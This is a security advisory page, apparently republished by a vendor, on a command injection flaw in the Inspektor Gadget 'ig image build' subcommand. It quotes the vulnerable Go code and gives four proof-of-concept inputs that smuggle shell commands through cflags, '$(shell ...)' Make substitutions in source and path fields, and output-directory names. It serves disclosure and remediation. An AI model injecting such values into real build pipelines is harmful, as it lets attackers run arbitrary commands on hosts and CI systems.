GHSA-79qw-g77v-2vfh
Inspektor Gadget: Command Injection via malicious buildOptions manipulation
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/inspektor-gadget/inspektor-gadgetReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impacted Resources
inspektor-gadget/cmd/common/image/build.go
inspektor-gadget/cmd/common/image/helpers/Makefile.build
Description
The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.
A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.
The following is the code responsible to construct the build command:
func buildCmd(options buildOptions) []string {
cmd := []string{
"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
"-j", fmt.Sprintf("%d", runtime.NumCPU()),
"OUTPUTDIR=" + options.outputDir,
"CFLAGS=" + options.cFlags,
"FORCE_COLORS=" + options.forceColorsFlag,
}
if options.ebpfSourcePath != "" {
cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
}
if options.wasmSourcePath != "" {
cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
}
if options.btfgen {
cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
}
return cmd
}
The Makefile.build file is the Makefile template employed during the building process.
This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.
This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.
Impact
An attacker able to exploit this vulnerability would be able to execute arbitray command:
- on the Linux host where the
igcommand is launched, if images are built with the--localflag - on the build container invoked by
ig, if the--localflag is not provided
Attack Complexity
The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.
Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.
PoC
PoC 1 (Vector: cflags)
- Create the file
build.yamlwith the following content:
ebpfsource: "program.bpf.c"
metadata: "gadget.yaml"
cflags: " ; touch poc1.txt ; "
- Create the file
gadget.yamlwith the following content:
name: test
description: test gadget
- Create the file
program.bpf.cwith the following content:
#include <gadget/gadget.h>
char LICENSE[] SEC("license") = "GPL";
- In the same directory where the files are run the command:
ig image build . -t test:latest
- Notice that the file
poc1.txtgets created inside the directory.
PoC2 (Vector: ebpfsource, wasm)
- Create the file
build.yamlwith the following content:
ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
- Create the file
$(shell touch poc2-1.txt):
touch '$(shell touch poc2-1.txt)'
- In the same directory where the files are run the command:
ig image build .
- Notice that the files
poc2-1.txtandpoc2-2.txtget created inside the directory.
PoC3 (Vector: -o, --output)
- Create the file
build.yamlwith the following content:
wasm: dummy.go
- Create the file
gadget.yamlwith the following content:
name: test
- Create the directory
$(shell touch poc3.txt):
touch '$(shell touch poc3.txt)'
- Retrieve the full path of the created directory:
readlink -f '$(shell touch poc3.txt)'
- In the same directory where the files are run the command replacing the
<PATH>placeholder with the value retrieved at step 4:
ig image build . --local -o '<PATH>'
- Notice that the file
poc3.txtgets created inside the directory.
PoC4 (Vector: --btfhub-archive)
- Create the file
build.yamlwith the following content:
ebpfsource: test.c
- Create the file
test.c:
touch test.c
- In the same directory where the files are run the command
sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'
- Notice that the file
poc4.txtgets created inside the directory.
Suggested Remediation
Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/inspektor-gadget/inspektor-gadget | all versions | 0.51.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/inspektor-gadget/inspektor-gadget. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/inspektor-gadget/inspektor-gadget to 0.51.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-79qw-g77v-2vfh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-79qw-g77v-2vfh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-79qw-g77v-2vfh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-79qw-g77v-2vfh in your dependencies?
O3 detects GHSA-79qw-g77v-2vfh across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.